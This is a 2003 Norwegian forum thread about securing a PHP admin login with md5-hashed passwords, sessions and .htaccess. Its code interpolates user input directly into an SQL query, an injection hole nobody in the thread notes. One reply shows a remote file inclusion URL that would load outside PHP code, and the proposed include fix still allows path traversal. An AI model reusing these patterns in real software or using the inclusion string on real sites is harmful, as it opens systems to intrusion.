Valagar Skrevet 24. juni 2003 Del Skrevet 24. juni 2003 Jeg har begynt å lage en del websider i det siste, både for meg selv og andre, og har et spørsmål angående sikkerhet på adminsider. Disse adminsidene er det svært viktig at ingen kommer inn på, ettersom du har full kontroll på siden herfra. Frem til nå har jeg benyttet meg av Apache User Authentication, med .htaccess-filer for å lagre brukernavn og passord. Men dette er neppe den beste løsningen. Jeg har tenkt litt på måter å gjøre det på, og er i stand til å programmere et system som ordner dette. Standardmåten etter å ha lett litt på nettet, ser ut til å være denne: Du har en database som ser omtrent slik ut: id | brukernavn | passord Passordet er lagret som en md5-hash. Når noen logger inn, kjører man: SELECT * FROM tbl WHERE brukernavn = '$user' AND passord = md5($password) Deretter sjekker man om det finnes en rad. Finnes det ingen rader er brukernavn eller passord galt, finnes raden skal brukeren logges inn. Her kommer mitt usikkerhetsmoment. For når brukeren er logget inn, starter man en session, som dette: session_start(); session_register("SESSION"); $SESSION["user"] = $user; Og heretter sjekker man om en bruker er logget inn, ved å se om $SESSION["user"] er definert. Alt er greit, koden funerer fint, og jeg har ingen problemer å bruke dette. Men hvor sikker er denne prosessen? Er dette sikkert nok til at jeg kan selge script med slik kode? Eller er dette kodesnutter som knapt er gode nok til å holde script kiddies unna en adminside for CS-klaner? Og for de av dere som selger websider, hvordan pleier dere å beskytte adminsidene? Hvor langt går dere i å beskytte dem? Har noen en link til et script som er bombesikkert? På forhånd takk for alle innspill. Lenke til kommentar
Torbjørn Skrevet 24. juni 2003 Del Skrevet 24. juni 2003 Det er så sikkert som http klienten håndterer cookies og så sikkert som nettverket er mellom din server og administratoren som logger seg inn. en ssl kryptert linje, https:// adresse, ville vært sikrere hvis du er paranoid. hvilken version av php bruker du, se opp for folk som går direkte til en url og skriver fil.php?user=admin_user $user = $_POST["user"] kan være smart å bruke istedet for bare $user som den er forhånds definert. Så slipper du at folk skriver fil.php?user=testuser etc... og kanskje får tilgang til filene på den måten. og heter det ikke $_SESSION? edit: modifiserte nest siste avsnitt Lenke til kommentar
Valagar Skrevet 24. juni 2003 Forfatter Del Skrevet 24. juni 2003 Jeg prøver å ta de fleste forhåndregler ja, jeg er bare litt redd for å ta betalt for en side som kan crackes av scriptkiddies med mer enn en halvtime til overs https har jeg aldri brukt, hva skal til for å aktivere dette? Er jeg avhengig av webhotellet mitt for å aktivere en slik funksjon? Lenke til kommentar
Torbjørn Skrevet 25. juni 2003 Del Skrevet 25. juni 2003 ja, det er du. mest sannsynlig får du ikke det. log før innloggings forsøk så merker du om det er noen skript kiddie på gang, mest sannsynlig er det ikke noe problem. (rare IPer) Så lenge du har tatt forhåndsregler mot alle variable som kan settes i URL'en, så går det nok greit. Dvs pass på variable som brukes for første gang i skriptet, og se til brukeren kan manipulere skriptet ved å sette disse i fil.php?variabel=blabla Pass også på include/require funksjonen, Hvis du for eksempel har et "index.php?action=login" system, dvs at index.php siden kaller opp login.php fila gjennom include/require for å kunne sette felles utseende på alle filene, så kan man skrive inn manuelt "index.php?action=http://mitt.domene.no/path/til/min/side.php" og vips får han kjørt sin php kode på din server/filområde skrev en liten typo i første melding, skal rette den... Lenke til kommentar
MullaKrekar Skrevet 25. juni 2003 Del Skrevet 25. juni 2003 Dette kan man vel unngå hvis man setter at sidene som skal includes ligger et nivå opp i mappestrukturen? F.eks.: include("mine_filer/$action.php"); Slik at hvis man har: index.php?action=jalla så må jalla.php ligge i mappen mine_filer? Lenke til kommentar
Torbjørn Skrevet 25. juni 2003 Del Skrevet 25. juni 2003 ja. må bare være obs på det. Lenke til kommentar
BlueEAGLE Skrevet 26. juni 2003 Del Skrevet 26. juni 2003 Jeg bruker phpSecurePages til alle mine passord. Hvis du vil ha den enda sikkrere så er det bare å bruke SSL (https://). Den er like sikker som serveren og den svakeste av klientene dine når du bruker ssl. Lenke til kommentar
PT Skrevet 26. juni 2003 Del Skrevet 26. juni 2003 Det sikreste er vel å kjøre adminscriptet lokalt på egen pc. Det er det jeg gjør med alle mine script. Da er det jo bare folk med tilgang til din pc og som kan passord til ftp-klienten og diverse andre passord som du bestemmer at scriptet er avhengig av for å virke som kan bruke det. Rett meg hvis jeg tar feil... Lenke til kommentar
Torbjørn Skrevet 27. juni 2003 Del Skrevet 27. juni 2003 Tror nok ikke det er aktuelt i dette eksempelet å la fremmede folk få komme inn i hjemmet hans og bruke PC'en hans for å administrere tjenesten de betaler for. Lenke til kommentar
Roberto Skrevet 27. juni 2003 Del Skrevet 27. juni 2003 Jeg har brukt .htaccess hele veien siden det første passord scriptet jeg lagde. Jeg føler at (per idag) det er "sikkert-nok" å bruke .htaccess beskyttelse, i hvertfall for små clansider.tk ...heheh Lenke til kommentar
PT Skrevet 29. juni 2003 Del Skrevet 29. juni 2003 Tror nok ikke det er aktuelt i dette eksempelet å la fremmede folk få komme inn i hjemmet hans og bruke PC'en hans for å administrere tjenesten de betaler for. Kanskje jeg sa det på en litt feil måte, men det jeg mente var at scriptet blir laget slik at kjøperen kan ha adminscriptet lokalt på sin pc. Kjøper har serlvfølgelig mulighet til å sette inn passord og brukernavn selv. Lenke til kommentar
Torbjørn Skrevet 1. juli 2003 Del Skrevet 1. juli 2003 Går ikke helt klart fram hva slags system han er ute etter å lage, han sier ikke hva han tar betalt for, om det er skripting eller hosting eller begge. Det er uansett ikke gitt at kjøperen kan sitte og jobbe på serveren som hoster tjenesten. Og hvis det ikke er umulig, kommer man ikke unna en eller annen form for remote autentisering med de sikkerhetsrisker det innebærer. Lenke til kommentar
Anbefalte innlegg
Opprett en konto eller logg inn for å kommentere
Du må være et medlem for å kunne skrive en kommentar
Opprett konto
Det er enkelt å melde seg inn for å starte en ny konto!
Start en kontoLogg inn
Har du allerede en konto? Logg inn her.
Logg inn nå